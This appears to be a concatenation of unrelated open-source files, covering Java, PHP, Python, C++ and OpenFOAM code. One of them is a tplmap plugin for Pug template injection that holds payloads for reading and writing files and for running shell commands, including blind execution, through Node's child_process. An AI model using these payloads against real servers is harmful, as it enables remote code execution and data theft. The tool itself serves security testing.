import org.springframework.security.core.Authentication;
public class GatewayEnabledCasProcessingFilter extends CasAuthenticationFilter {
@Override
protected boolean requiresAuthentication(HttpServletRequest request, HttpServletResponse response) {
return true;
}
@Override
protected void successfulAuthentication(HttpServletRequest request, HttpServletResponse response,
Authentication authResult) throws IOException, ServletException {
super.successfulAuthentication(request, response, authResult);
}
}
| gpl-3.0 |
kotsios5/openclassifieds2 | themes/default/views/widget_notification.php | 3078 | <?php defined('SYSPATH') or die('No direct script access.');?>
<?if(Auth::instance()->logged_in()):?>
<?if (core::config('general.messaging') AND $messages = Model_Message::get_unread_threads(Auth::instance()->get_user())) :?>
<div class="btn-group" role="group">
<?if (($messages_count = $messages->count_all()) > 0) :?>
<a class="btn btn-success widget_notification"
href="<?=Route::url('oc-panel',array('controller'=>'messages','action'=>'index'))?>"
data-toggle="dropdown"
data-target="#"
>
<i class="fa fa-bell"></i> <span class="badge"><?=$messages_count?></span>
</a>
<ul class="dropdown-menu">
<li class="dropdown-header"><?=sprintf(__('You have %s unread messages'), $messages_count)?></li>
<?foreach ($messages->find_all() as $message):?>
<li>
<a href="<?=Route::url('oc-panel',array('controller'=>'messages','action'=>'message','id'=>($message->id_message_parent != NULL) ? $message->id_message_parent : $message->id_message))?>">
<small><strong><?=isset($message->ad->title) ? $message->ad->title : _e('Direct Message')?></strong></small>
<br>
<small><em><?=$message->from->name?></em></small>
</a>
</li>
<?endforeach?>
</ul>
<?else:?>
<a class="btn btn-success widget_notification"
href="<?=Route::url('oc-panel',array('controller'=>'messages','action'=>'index'))?>"
title="<?=__('You have no unread messages')?>"
data-toggle="popover"
data-target="#"
data-placement="bottom"
>
<i class="fa fa-bell-o"></i>
</a>
<?endif?>
</div>
<?elseif ($ads = Auth::instance()->get_user()->contacts() AND core::count($ads) > 0) :?>
<div class="btn-group" role="group">
<a class="btn dropdown-toggle btn-success widget_notification" data-toggle="dropdown" href="#" id="contact-notification" data-url="<?=Route::url('oc-panel', array('controller'=>'profile', 'action'=>'notifications'))?>">
<i class="fa fa-bell"></i> <span class="badge"><?=core::count($ads)?></span>
</a>
<ul id="contact-notification-dd" class="dropdown-menu">
<li class="dropdown-header"><?=_e('Please check your email')?></li>
<li class="divider"></li>
<li class="dropdown-header"><?=_e('You have been contacted for these ads')?></li>
<?foreach ($ads as $ad ):?>
<li class="dropdown-header"><strong><?=$ad["title"]?></strong></li>
<?endforeach?>
</ul>
</div>
<?endif?>
<?endif?> | gpl-3.0 |
boydjd/openfisma | library/Zend/Measure/Volume.php | 11071 | <?php
/**
* Zend Framework
*
* LICENSE
*
* This source file is subject to the new BSD license that is bundled
* with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://framework.zend.com/license/new-bsd
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to license@zend.com so we can send you a copy immediately.
*
* @category Zend
* @package Zend_Measure
* @copyright Copyright (c) 2005-2011 Zend Technologies USA Inc. (http://www.zend.com)
* @license http://framework.zend.com/license/new-bsd New BSD License
* @version $Id$
*/
/**
* Implement needed classes
*/
// require_once 'Zend/Measure/Abstract.php';
// require_once 'Zend/Locale.php';
/**
* Class for handling acceleration conversions
*
* @category Zend
* @package Zend_Measure
* @subpackage Zend_Measure_Volume
* @copyright Copyright (c) 2005-2011 Zend Technologies USA Inc. (http://www.zend.com)
* @license http://framework.zend.com/license/new-bsd New BSD License
*/
class Zend_Measure_Volume extends Zend_Measure_Abstract
{
const STANDARD = 'CUBIC_METER';
const ACRE_FOOT = 'ACRE_FOOT';
const ACRE_FOOT_SURVEY = 'ACRE_FOOT_SURVEY';
const ACRE_INCH = 'ACRE_INCH';
const BARREL_WINE = 'BARREL_WINE';
const BARREL = 'BARREL';
const BARREL_US_DRY = 'BARREL_US_DRY';
const BARREL_US_FEDERAL = 'BARREL_US_FEDERAL';
const BARREL_US = 'BARREL_US';
const BARREL_US_PETROLEUM = 'BARREL_US_PETROLEUM';
const BOARD_FOOT = 'BOARD_FOOT';
const BUCKET = 'BUCKET';
const BUCKET_US = 'BUCKET_US';
const BUSHEL = 'BUSHEL';
const BUSHEL_US = 'BUSHEL_US';
const CENTILTER = 'CENTILITER';
const CORD = 'CORD';
const CORD_FOOT = 'CORD_FOOT';
const CUBIC_CENTIMETER = 'CUBIC_CENTIMETER';
const CUBIC_CUBIT = 'CUBIC_CUBIT';
const CUBIC_DECIMETER = 'CUBIC_DECIMETER';
const CUBIC_DEKAMETER = 'CUBIC_DEKAMETER';
const CUBIC_FOOT = 'CUBIC_FOOT';
const CUBIC_INCH = 'CUBIC_INCH';
const CUBIC_KILOMETER = 'CUBIC_KILOMETER';
const CUBIC_METER = 'CUBIC_METER';
const CUBIC_MILE = 'CUBIC_MILE';
const CUBIC_MICROMETER = 'CUBIC_MICROMETER';
const CUBIC_MILLIMETER = 'CUBIC_MILLIMETER';
const CUBIC_YARD = 'CUBIC_YARD';
const CUP_CANADA = 'CUP_CANADA';
const CUP = 'CUP';
const CUP_US = 'CUP_US';
const DECILITER = 'DECILITER';
const DEKALITER = 'DEKALITER';
const DRAM = 'DRAM';
const DRUM_US = 'DRUM_US';
const DRUM = 'DRUM';
const FIFTH = 'FIFTH';
const GALLON = 'GALLON';
const GALLON_US_DRY = 'GALLON_US_DRY';
const GALLON_US = 'GALLON_US';
const GILL = 'GILL';
const GILL_US = 'GILL_US';
const HECTARE_METER = 'HECTARE_METER';
const HECTOLITER = 'HECTOLITER';
const HOGSHEAD = 'HOGSHEAD';
const HOGSHEAD_US = 'HOGSHEAD_US';
const JIGGER = 'JIGGER';
const KILOLITER = 'KILOLITER';
const LITER = 'LITER';
const MEASURE = 'MEASURE';
const MEGALITER = 'MEGALITER';
const MICROLITER = 'MICROLITER';
const MILLILITER = 'MILLILITER';
const MINIM = 'MINIM';
const MINIM_US = 'MINIM_US';
const OUNCE = 'OUNCE';
const OUNCE_US = 'OUNCE_US';
const PECK = 'PECK';
const PECK_US = 'PECK_US';
const PINT = 'PINT';
const PINT_US_DRY = 'PINT_US_DRY';
const PINT_US = 'PINT_US';
const PIPE = 'PIPE';
const PIPE_US = 'PIPE_US';
const PONY = 'PONY';
const QUART_GERMANY = 'QUART_GERMANY';
const QUART_ANCIENT = 'QUART_ANCIENT';
const QUART = 'QUART';
const QUART_US_DRY = 'QUART_US_DRY';
const QUART_US = 'QUART_US';
const QUART_UK = 'QUART_UK';
const SHOT = 'SHOT';
const STERE = 'STERE';
const TABLESPOON = 'TABLESPOON';
const TABLESPOON_UK = 'TABLESPOON_UK';
const TABLESPOON_US = 'TABLESPOON_US';
const TEASPOON = 'TEASPOON';
const TEASPOON_UK = 'TEASPOON_UK';
const TEASPOON_US = 'TEASPOON_US';
const YARD = 'YARD';
/**
* Calculations for all volume units
*
* @var array
*/
protected $_units = array(
'ACRE_FOOT' => array('1233.48185532', 'ac ft'),
'ACRE_FOOT_SURVEY' => array('1233.489', 'ac ft'),
'ACRE_INCH' => array('102.79015461', 'ac in'),
'BARREL_WINE' => array('0.143201835', 'bbl'),
'BARREL' => array('0.16365924', 'bbl'),
'BARREL_US_DRY' => array(array('' => '26.7098656608', '/' => '231'), 'bbl'),
'BARREL_US_FEDERAL' => array('0.1173477658', 'bbl'),
'BARREL_US' => array('0.1192404717', 'bbl'),
'BARREL_US_PETROLEUM' => array('0.1589872956', 'bbl'),
'BOARD_FOOT' => array(array('' => '6.5411915904', '/' => '2772'), 'board foot'),
'BUCKET' => array('0.01818436', 'bucket'),
'BUCKET_US' => array('0.018927059', 'bucket'),
'BUSHEL' => array('0.03636872', 'bu'),
'BUSHEL_US' => array('0.03523907', 'bu'),
'CENTILITER' => array('0.00001', 'cl'),
'CORD' => array('3.624556416', 'cd'),
'CORD_FOOT' => array('0.453069552', 'cd ft'),
'CUBIC_CENTIMETER' => array('0.000001', 'cm³'),
'CUBIC_CUBIT' => array('0.144', 'cubit³'),
'CUBIC_DECIMETER' => array('0.001', 'dm³'),
'CUBIC_DEKAMETER' => array('1000', 'dam³'),
'CUBIC_FOOT' => array(array('' => '6.54119159', '/' => '231'), 'ft³'),
'CUBIC_INCH' => array(array('' => '0.0037854118', '/' => '231'), 'in³'),
'CUBIC_KILOMETER' => array('1.0e+9', 'km³'),
'CUBIC_METER' => array('1', 'm³'),
'CUBIC_MILE' => array(array('' => '0.0037854118', '/' => '231', '*' => '75271680', '*' => '3379200'),
'mi³'),
'CUBIC_MICROMETER' => array('1.0e-18', 'µm³'),
'CUBIC_MILLIMETER' => array('1.0e-9', 'mm³'),
'CUBIC_YARD' => array(array('' => '0.0037854118', '/' => '231', '*' => '46656'), 'yd³'),
'CUP_CANADA' => array('0.0002273045', 'c'),
'CUP' => array('0.00025', 'c'),
'CUP_US' => array(array('' => '0.0037854118', '/' => '16'), 'c'),
'DECILITER' => array('0.0001', 'dl'),
'DEKALITER' => array('0.001', 'dal'),
'DRAM' => array(array('' => '0.0037854118', '/' => '1024'), 'dr'),
'DRUM_US' => array('0.208197649', 'drum'),
'DRUM' => array('0.2', 'drum'),
'FIFTH' => array('0.00075708236', 'fifth'),
'GALLON' => array('0.00454609', 'gal'),
'GALLON_US_DRY' => array('0.0044048838', 'gal'),
'GALLON_US' => array('0.0037854118', 'gal'),
'GILL' => array(array('' => '0.00454609', '/' => '32'), 'gi'),
'GILL_US' => array(array('' => '0.0037854118', '/' => '32'), 'gi'),
'HECTARE_METER' => array('10000', 'ha m'),
'HECTOLITER' => array('0.1', 'hl'),
'HOGSHEAD' => array('0.28640367', 'hhd'),
'HOGSHEAD_US' => array('0.2384809434', 'hhd'),
'JIGGER' => array(array('' => '0.0037854118', '/' => '128', '*' => '1.5'), 'jigger'),
'KILOLITER' => array('1', 'kl'),
'LITER' => array('0.001', 'l'),
'MEASURE' => array('0.0077', 'measure'),
'MEGALITER' => array('1000', 'Ml'),
'MICROLITER' => array('1.0e-9', 'µl'),
'MILLILITER' => array('0.000001', 'ml'),
'MINIM' => array(array('' => '0.00454609', '/' => '76800'), 'min'),
'MINIM_US' => array(array('' => '0.0037854118','/' => '61440'), 'min'),
'OUNCE' => array(array('' => '0.00454609', '/' => '160'), 'oz'),
'OUNCE_US' => array(array('' => '0.0037854118', '/' => '128'), 'oz'),
'PECK' => array('0.00909218', 'pk'),
'PECK_US' => array('0.0088097676', 'pk'),
'PINT' => array(array('' => '0.00454609', '/' => '8'), 'pt'),
'PINT_US_DRY' => array(array('' => '0.0044048838', '/' => '8'), 'pt'),
'PINT_US' => array(array('' => '0.0037854118', '/' => '8'), 'pt'),
'PIPE' => array('0.49097772', 'pipe'),
'PIPE_US' => array('0.4769618868', 'pipe'),
'PONY' => array(array('' => '0.0037854118', '/' => '128'), 'pony'),
'QUART_GERMANY' => array('0.00114504', 'qt'),
'QUART_ANCIENT' => array('0.00108', 'qt'),
'QUART' => array(array('' => '0.00454609', '/' => '4'), 'qt'),
'QUART_US_DRY' => array(array('' => '0.0044048838', '/' => '4'), 'qt'),
'QUART_US' => array(array('' => '0.0037854118', '/' => '4'), 'qt'),
'QUART_UK' => array('0.29094976', 'qt'),
'SHOT' => array(array('' => '0.0037854118', '/' => '128'), 'shot'),
'STERE' => array('1', 'st'),
'TABLESPOON' => array('0.000015', 'tbsp'),
'TABLESPOON_UK' => array(array('' => '0.00454609', '/' => '320'), 'tbsp'),
'TABLESPOON_US' => array(array('' => '0.0037854118', '/' => '256'), 'tbsp'),
'TEASPOON' => array('0.000005', 'tsp'),
'TEASPOON_UK' => array(array('' => '0.00454609', '/' => '1280'), 'tsp'),
'TEASPOON_US' => array(array('' => '0.0037854118', '/' => '768'), 'tsp'),
'YARD' => array(array('' => '176.6121729408', '/' => '231'), 'yd'),
'STANDARD' => 'CUBIC_METER'
);
}
| gpl-3.0 |
SecHackLabs/WebHackSHL | modules/tplmap/plugins/engines/pug.py | 3249 | from utils.strings import quote, chunkit, md5
from utils.loggers import log
from plugins.languages import javascript
from utils import rand
import base64
import re
class Pug(javascript.Javascript):
def init(self):
self.update_actions({
'render' : {
'call': 'inject',
'render': '\n= %(code)s\n',
'header': '\n= %(header)s\n',
'trailer': '\n= %(trailer)s\n',
},
# No evaluate_blind here, since we've no sleep, we'll use inject
'write' : {
'call' : 'inject',
# Payloads calling inject must start with \n to break out already started lines
'write' : """\n- global.process.mainModule.require('fs').appendFileSync('%(path)s', Buffer('%(chunk_b64)s', 'base64'), 'binary')
""",
'truncate' : """\n- global.process.mainModule.require('fs').writeFileSync('%(path)s', '')
"""
},
'read' : {
'call': 'render',
'read' : """global.process.mainModule.require('fs').readFileSync('%(path)s').toString('base64')"""
},
'md5' : {
'call': 'render',
'md5': """global.process.mainModule.require('crypto').createHash('md5').update(global.process.mainModule.require('fs').readFileSync('%(path)s')).digest("hex")"""
},
'blind' : {
'call': 'execute_blind',
'test_bool_true' : 'true',
'test_bool_false' : 'false'
},
# Not using execute here since it's rendered and requires set headers and trailers
'execute_blind' : {
'call': 'inject',
# execSync() has been introduced in node 0.11, so this will not work with old node versions.
# TODO: use another function.
# Payloads calling inject must start with \n to break out already started lines
# It's two lines command to avoid false positive with Javascript module
'execute_blind': """
- x = global.process.mainModule.require
- x('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString() + ' && sleep %(delay)i')
"""
},
'execute' : {
'call': 'render',
'execute': """global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString())"""
},
'evaluate' : {
'test_os': """global.process.mainModule.require('os').platform()"""
},
})
self.set_contexts([
# Text context, no closures
{ 'level': 0 },
# Attribute close a(href=\'%s\')
{ 'level': 1, 'prefix' : '%(closure)s)', 'suffix' : '//', 'closures' : { 1: javascript.ctx_closures[1] } },
# String interpolation #{
{ 'level': 2, 'prefix' : '%(closure)s}', 'suffix' : '//', 'closures' : javascript.ctx_closures },
# Code context
{ 'level': 2, 'prefix' : '%(closure)s\n', 'suffix' : '//', 'closures' : javascript.ctx_closures },
])
language = 'javascript'
| gpl-3.0 |
tomaslaz/KLMC_Analysis | DM_FHIaims_Spin_Analysis.py | 6238 | """
A script to prepare/execute/analyse FHI-aims polarisation calculations
@author Tomas Lazauskas, 2016
@web www.lazauskas.net
@email tomas.lazauskas[a]gmail.com
"""
import os
from optparse import OptionParser
import source.IO as IO
import source.Messages as Messages
from source.Messages import log
# a directory where systems in the xyz format and control.in file should be put
_input_directory = "input"
# input file file extension
_input_extension = "xyz"
# a directory to save the prepared input files for the simulations
_output_directory = "output"
# output directory prefix
_output_prefix = "spin_ini_"
# fhi-aims control file name
_aims_control = "control.in"
# fhi-aims geometry file name
_aims_geometry = "geometry.in"
# default_initial_moment keyword in the control.in file
_aims_keyword_def_ini_moment = "default_initial_moment"
# fhiaims execution command (as an example)
_aims_exe_cmd = "source /opt/intel/composer_xe_2015/mkl/bin/mklvars.sh intel64; mpirun -n 8 /Users/Tomas/Software/fhi-aims.160328/bin/aims.160328_1.mpi.x > fhiaims.out"
def cmd_line_args():
"""
Handles command line arguments and options.
"""
usage = "usage: %prog "
parser = OptionParser(usage=usage)
parser.add_option("-a", "--spinfr", dest="spinfr", default=0.0, type="float",
help="Initial spin values from")
parser.add_option("-b", "--spinto", dest="spinto", default=0.0, type="float",
help="Initial spinn values to")
parser.add_option("-p", "--prepare", dest="prepare", action="store_true", default=False,
help="Prepares directories for the spin calculations")
parser.add_option("-x", "--execute", dest="execute", action="store_true", default=False,
help="Executes the simulations")
# parser.add_option("-l", "--analyse", dest="analyse", action="store_true", default=False,
# help="Analyses the simulations")
parser.disable_interspersed_args()
(options, args) = parser.parse_args()
return options, args
def execute():
"""
Executes the fhi-aims calculations
"""
main_dir_path = os.getcwd()
Messages.log(__name__, "Running the simulations in: %s" % (_output_directory))
dir_list = IO.get_dir_list(_aims_geometry)
cwd = os.getcwd()
dir_tot_str = str(len(dir_list))
dir_cnt = 1
for dir_path in dir_list:
Messages.log(__name__, "%s/%s Executing FHI-aims in: %s " % (str(dir_cnt), dir_tot_str, dir_path), 1)
os.chdir(dir_path)
os.system(_aims_exe_cmd)
os.chdir(cwd)
dir_cnt += 1
Messages.log(__name__, "Finished executing FHI-aims calculations")
def prepare_control_file(ini_spin_value):
"""
Copies the control file and adjusts the "default_initial_moment"
"""
aims_control_temp = "_%s" % (_aims_control)
f_cntlr_in = open(_aims_control, "r")
f_cntlr_out = open(aims_control_temp, "w")
for line in f_cntlr_in:
# change the default initial spin value
if _aims_keyword_def_ini_moment in line:
f_cntlr_out.write("%s %s\n" % (_aims_keyword_def_ini_moment, str(ini_spin_value)))
# write the rest of the lines as they are
else:
f_cntlr_out.write(line)
f_cntlr_in.close()
f_cntlr_out.close()
os.system("mv -f %s %s" % (aims_control_temp, _aims_control))
def prepare_directories(options):
"""
The main method to prepare directories for the spin calculations
"""
Messages.log(__name__, "Preparing directories for the spin calculations")
# reading the input systems
systems_list = read_systems(_input_extension)
# preparing directories with adjusted spin
prepare_spins(systems_list, options)
def prepare_spins(systems_list, options):
"""
Prepares simulation directories for the read systems
"""
main_dir_path = os.getcwd()
Messages.log(__name__, "Preparing the simulation files. The files will be saved in: %s" % (_output_directory))
IO.checkDirectory(_output_directory, createMd=1)
os.chdir(_output_directory)
output_dir_path = os.getcwd()
spins_from = options.spinfr
spins_to = options.spinto
for spin in range(int(spins_from), int(spins_to)+1):
Messages.log(__name__, "Preparing: %s %s" % (_aims_keyword_def_ini_moment, str(spin)), 1)
# creates directories for the systems
spin_dir_name = "%s%s" % (_output_prefix, str(spin))
IO.checkDirectory(spin_dir_name, createMd=1)
os.chdir(spin_dir_name)
# prepares control.in and geometry.in files
write_systems(systems_list, spin, main_dir_path)
os.chdir(output_dir_path)
os.chdir(main_dir_path)
def read_systems(file_extension):
"""
Reading the input files as system objects
"""
Messages.log(__name__, "Reading in the systems from: %s" % (_input_directory), 1)
systems_list = []
cwd = os.getcwd()
os.chdir(_input_directory)
files_list = IO.get_file_list(file_extension)
for file_name in files_list:
system = IO.readSystemFromFileXYZ(file_name)
systems_list.append(system)
os.chdir(cwd)
Messages.log(__name__, "Read %s systems." % (str(len(systems_list))), 1)
return systems_list
def write_systems(systems_list, spin_file, main_dir_path):
"""
Writing systems as geometry.in files and copy a control file to the system directory
"""
cwd = os.getcwd()
for system in systems_list:
system_name = system.name
IO.checkDirectory(system_name, createMd=1)
os.chdir(system_name)
# writes system as a geometry.in file
_, _ = IO.writeAimsGeometry(system, _aims_geometry)
# copies the control.in file
cmd_line = "cp %s/%s/%s . " % (main_dir_path, _input_directory, _aims_control)
os.system(cmd_line)
# adjusts the control.in file
prepare_control_file(spin_file)
os.chdir(cwd)
if __name__ == "__main__":
Messages.log(__name__, "Running..")
# reading the command line arguments and options
options, _ = cmd_line_args()
# prepare the directories?
if options.prepare:
prepare_directories(options)
# execute the simulations?
if options.execute:
execute()
Messages.log(__name__, "Finished.")
Messages.printAuthor()
| gpl-3.0 |
946493655/cul_user | app/Models/Wallet/WalletModel.php | 1142 | <?php
namespace App\Models\Wallet;
use App\Models\BaseModel;
class WalletModel extends BaseModel
{
/**
* 这是用户签到表
*/
protected $table = 'ac_wallet';
protected $fillable = [
'id','uid','sign','gold','tip','weal','created_at','updated_at',
];
//weal福利,单位元:10签到兑换1元福利;30金币兑换1元福利;1红包兑换1元福利
/**
* 用户名称
*/
public function getUName()
{
return $this->uid ? $this->getUserName($this->uid) : '';
}
// /**
// * 设置金币奖励
// */
// public static function setGold($uid,$gold)
// {
// $walletModel = WalletModel::where('uid',$uid)->first();
// $goldCount = $walletModel->gold+$gold;
// WalletModel::where('uid',$uid)->update(['gold'=> $goldCount]);
// }
// /**
// * 判断是否已经支付过
// */
// public function isPay()
// {
// $payModel = PayModel::where('uid',$this->uid)->where('ispay',1)->first();
// return ($payModel||$this->tip||$this->weal) ? 1 : 0;
// }
} | gpl-3.0 |
OpenFOAM/OpenFOAM-5.x | src/TurbulenceModels/turbulenceModels/RAS/kOmegaSSTLM/kOmegaSSTLM.H | 8963 | /*---------------------------------------------------------------------------*\
========= |
\\ / F ield | OpenFOAM: The Open Source CFD Toolbox
\\ / O peration |
\\ / A nd | Copyright (C) 2016 OpenFOAM Foundation
\\/ M anipulation |
-------------------------------------------------------------------------------
License
This file is part of OpenFOAM.
OpenFOAM is free software: you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
OpenFOAM is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
for more details.
You should have received a copy of the GNU General Public License
along with OpenFOAM. If not, see <http://www.gnu.org/licenses/>.
Class
Foam::RASModels::kOmegaSSTLM
Group
grpLESTurbulence
Description
Langtry-Menter 4-equation transitional SST model
based on the k-omega-SST RAS model.
References:
\verbatim
Langtry, R. B., & Menter, F. R. (2009).
Correlation-based transition modeling for unstructured parallelized
computational fluid dynamics codes.
AIAA journal, 47(12), 2894-2906.
Menter, F. R., Langtry, R., & Volker, S. (2006).
Transition modelling for general purpose CFD codes.
Flow, turbulence and combustion, 77(1-4), 277-303.
Langtry, R. B. (2006).
A correlation-based transition model using local variables for
unstructured parallelized CFD codes.
Phd. Thesis, Universität Stuttgart.
\endverbatim
The model coefficients are
\verbatim
kOmegaSSTCoeffs
{
// Default SST coefficients
alphaK1 0.85;
alphaK2 1;
alphaOmega1 0.5;
alphaOmega2 0.856;
beta1 0.075;
beta2 0.0828;
betaStar 0.09;
gamma1 5/9;
gamma2 0.44;
a1 0.31;
b1 1;
c1 10;
F3 no;
// Default LM coefficients
ca1 2;
ca2 0.06;
ce1 1;
ce2 50;
cThetat 0.03;
sigmaThetat 2;
lambdaErr 1e-6;
maxLambdaIter 10;
}
\endverbatim
SourceFiles
kOmegaSSTLM.C
\*---------------------------------------------------------------------------*/
#ifndef kOmegaSSTLM_H
#define kOmegaSSTLM_H
#include "kOmegaSST.H"
// * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * //
namespace Foam
{
namespace RASModels
{
/*---------------------------------------------------------------------------*\
Class kOmegaSSTLM Declaration
\*---------------------------------------------------------------------------*/
template<class BasicTurbulenceModel>
class kOmegaSSTLM
:
public kOmegaSST<BasicTurbulenceModel>
{
// Private Member Functions
// Disallow default bitwise copy construct and assignment
kOmegaSSTLM(const kOmegaSSTLM&);
void operator=(const kOmegaSSTLM&);
protected:
// Protected data
// Model constants
dimensionedScalar ca1_;
dimensionedScalar ca2_;
dimensionedScalar ce1_;
dimensionedScalar ce2_;
dimensionedScalar cThetat_;
dimensionedScalar sigmaThetat_;
//- Convergence criterion for the lambda/thetat loop
scalar lambdaErr_;
//- Maximum number of iterations to converge the lambda/thetat loop
label maxLambdaIter_;
//- Stabilization for division by the magnitude of the velocity
const dimensionedScalar deltaU_;
// Fields
//- Transition onset momentum-thickness Reynolds number
volScalarField ReThetat_;
//- Intermittency
volScalarField gammaInt_;
//- Effective intermittency
volScalarField::Internal gammaIntEff_;
// Protected Member Functions
//- Modified form of the k-omega SST F1 function
virtual tmp<volScalarField> F1(const volScalarField& CDkOmega) const;
//- Modified form of the k-omega SST k production rate
virtual tmp<volScalarField::Internal> Pk
(
const volScalarField::Internal& G
) const;
//- Modified form of the k-omega SST epsilon/k
virtual tmp<volScalarField::Internal> epsilonByk
(
const volScalarField::Internal& F1,
const volScalarField::Internal& F2
) const;
//- Freestream blending-function
tmp<volScalarField::Internal> Fthetat
(
const volScalarField::Internal& Us,
const volScalarField::Internal& Omega,
const volScalarField::Internal& nu
) const;
//- Empirical correlation for critical Reynolds number where the
// intermittency first starts to increase in the boundary layer
tmp<volScalarField::Internal> ReThetac() const;
//- Empirical correlation that controls the length of the
// transition region
tmp<volScalarField::Internal> Flength
(
const volScalarField::Internal& nu
) const;
//- Transition onset location control function
tmp<volScalarField::Internal> Fonset
(
const volScalarField::Internal& Rev,
const volScalarField::Internal& ReThetac,
const volScalarField::Internal& RT
) const;
//- Return the transition onset momentum-thickness Reynolds number
// (based on freestream conditions)
tmp<volScalarField::Internal> ReThetat0
(
const volScalarField::Internal& Us,
const volScalarField::Internal& dUsds,
const volScalarField::Internal& nu
) const;
//- Solve the turbulence equations and correct the turbulence viscosity
void correctReThetatGammaInt();
public:
typedef typename BasicTurbulenceModel::alphaField alphaField;
typedef typename BasicTurbulenceModel::rhoField rhoField;
typedef typename BasicTurbulenceModel::transportModel transportModel;
//- Runtime type information
TypeName("kOmegaSSTLM");
// Constructors
//- Construct from components
kOmegaSSTLM
(
const alphaField& alpha,
const rhoField& rho,
const volVectorField& U,
const surfaceScalarField& alphaRhoPhi,
const surfaceScalarField& phi,
const transportModel& transport,
const word& propertiesName = turbulenceModel::propertiesName,
const word& type = typeName
);
//- Destructor
virtual ~kOmegaSSTLM()
{}
// Member Functions
//- Re-read model coefficients if they have changed
virtual bool read();
//- Access function transition onset momentum-thickness Reynolds number
const volScalarField& ReThetat() const
{
return ReThetat_;
}
//- Access function to intermittency
const volScalarField& gammaInt() const
{
return gammaInt_;
}
//- Return the effective diffusivity for transition onset
// momentum-thickness Reynolds number
tmp<volScalarField> DReThetatEff() const
{
return tmp<volScalarField>
(
new volScalarField
(
"DReThetatEff",
sigmaThetat_*(this->nut_ + this->nu())
)
);
}
//- Return the effective diffusivity for intermittency
tmp<volScalarField> DgammaIntEff() const
{
return tmp<volScalarField>
(
new volScalarField
(
"DgammaIntEff",
this->nut_ + this->nu()
)
);
}
//- Solve the turbulence equations and correct the turbulence viscosity
virtual void correct();
};
// * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * //
} // End namespace RASModels
} // End namespace Foam
// * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * //
#ifdef NoRepository
#include "kOmegaSSTLM.C"
#endif
// * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * //
#endif
// ************************************************************************* //
| gpl-3.0 |
holger-seelig/titania | libtitania-x3d/Titania/X3D/Components/RigidBodyPhysics/UniversalJoint.cpp | 7852 | /* -*- Mode: C++; coding: utf-8; tab-width: 3; indent-tabs-mode: tab; c-basic-offset: 3 -*-
*******************************************************************************
*
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* Copyright create3000, Scheffelstraße 31a, Leipzig, Germany 2011.
*
* All rights reserved. Holger Seelig <holger.seelig@yahoo.de>.
*
* THIS IS UNPUBLISHED SOURCE CODE OF create3000.
*
* The copyright notice above does not evidence any actual of intended
* publication of such source code, and is an unpublished work by create3000.
* This material contains CONFIDENTIAL INFORMATION that is the property of
* create3000.
*
* No permission is granted to copy, distribute, or create derivative works from
* the contents of this software, in whole or in part, without the prior written
* permission of create3000.
*
* NON-MILITARY USE ONLY
*
* All create3000 software are effectively free software with a non-military use
* restriction. It is free. Well commented source is provided. You may reuse the
* source in any way you please with the exception anything that uses it must be
* marked to indicate is contains 'non-military use only' components.
*
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* Copyright 1999, 2016 Holger Seelig <holger.seelig@yahoo.de>.
*
* This file is part of the Titania Project.
*
* Titania is free software: you can redistribute it and/or modify it under the
* terms of the GNU General Public License version 3 only, as published by the
* Free Software Foundation.
*
* Titania is distributed in the hope that it will be useful, but WITHOUT ANY
* WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
* A PARTICULAR PURPOSE. See the GNU General Public License version 3 for more
* details (a copy is included in the LICENSE file that accompanied this code).
*
* You should have received a copy of the GNU General Public License version 3
* along with Titania. If not, see <http://www.gnu.org/licenses/gpl.html> for a
* copy of the GPLv3 License.
*
* For Silvio, Joy and Adi.
*
******************************************************************************/
#include "UniversalJoint.h"
#include "../../Execution/X3DExecutionContext.h"
#include "../RigidBodyPhysics/RigidBody.h"
#include "../RigidBodyPhysics/RigidBodyCollection.h"
namespace titania {
namespace X3D {
const Component UniversalJoint::component = Component ("RigidBodyPhysics", 2);
const std::string UniversalJoint::typeName = "UniversalJoint";
const std::string UniversalJoint::containerField = "joints";
UniversalJoint::Fields::Fields () :
anchorPoint (new SFVec3f ()),
axis1 (new SFVec3f ()),
axis2 (new SFVec3f ()),
stop1Bounce (new SFFloat ()),
stop2Bounce (new SFFloat ()),
stop1ErrorCorrection (new SFFloat (0.8)),
stop2ErrorCorrection (new SFFloat (0.8)),
body1AnchorPoint (new SFVec3f ()),
body2AnchorPoint (new SFVec3f ()),
body1Axis (new SFVec3f ()),
body2Axis (new SFVec3f ())
{ }
UniversalJoint::UniversalJoint (X3DExecutionContext* const executionContext) :
X3DBaseNode (executionContext -> getBrowser (), executionContext),
X3DRigidJointNode (),
fields (),
outputs (),
joint ()
{
addType (X3DConstants::UniversalJoint);
addField (inputOutput, "metadata", metadata ());
addField (inputOutput, "forceOutput", forceOutput ());
addField (inputOutput, "anchorPoint", anchorPoint ());
addField (inputOutput, "axis1", axis1 ());
addField (inputOutput, "axis2", axis2 ());
addField (inputOutput, "stop1Bounce", stop1Bounce ());
addField (inputOutput, "stop2Bounce", stop2Bounce ());
addField (inputOutput, "stop1ErrorCorrection", stop1ErrorCorrection ());
addField (inputOutput, "stop2ErrorCorrection", stop2ErrorCorrection ());
addField (outputOnly, "body1AnchorPoint", body1AnchorPoint ());
addField (outputOnly, "body2AnchorPoint", body2AnchorPoint ());
addField (outputOnly, "body1Axis", body1Axis ());
addField (outputOnly, "body2Axis", body2Axis ());
addField (inputOutput, "body1", body1 ());
addField (inputOutput, "body2", body2 ());
// Units
anchorPoint () .setUnit (UnitCategory::LENGTH);
body1AnchorPoint () .setUnit (UnitCategory::LENGTH);
body2AnchorPoint () .setUnit (UnitCategory::LENGTH);
}
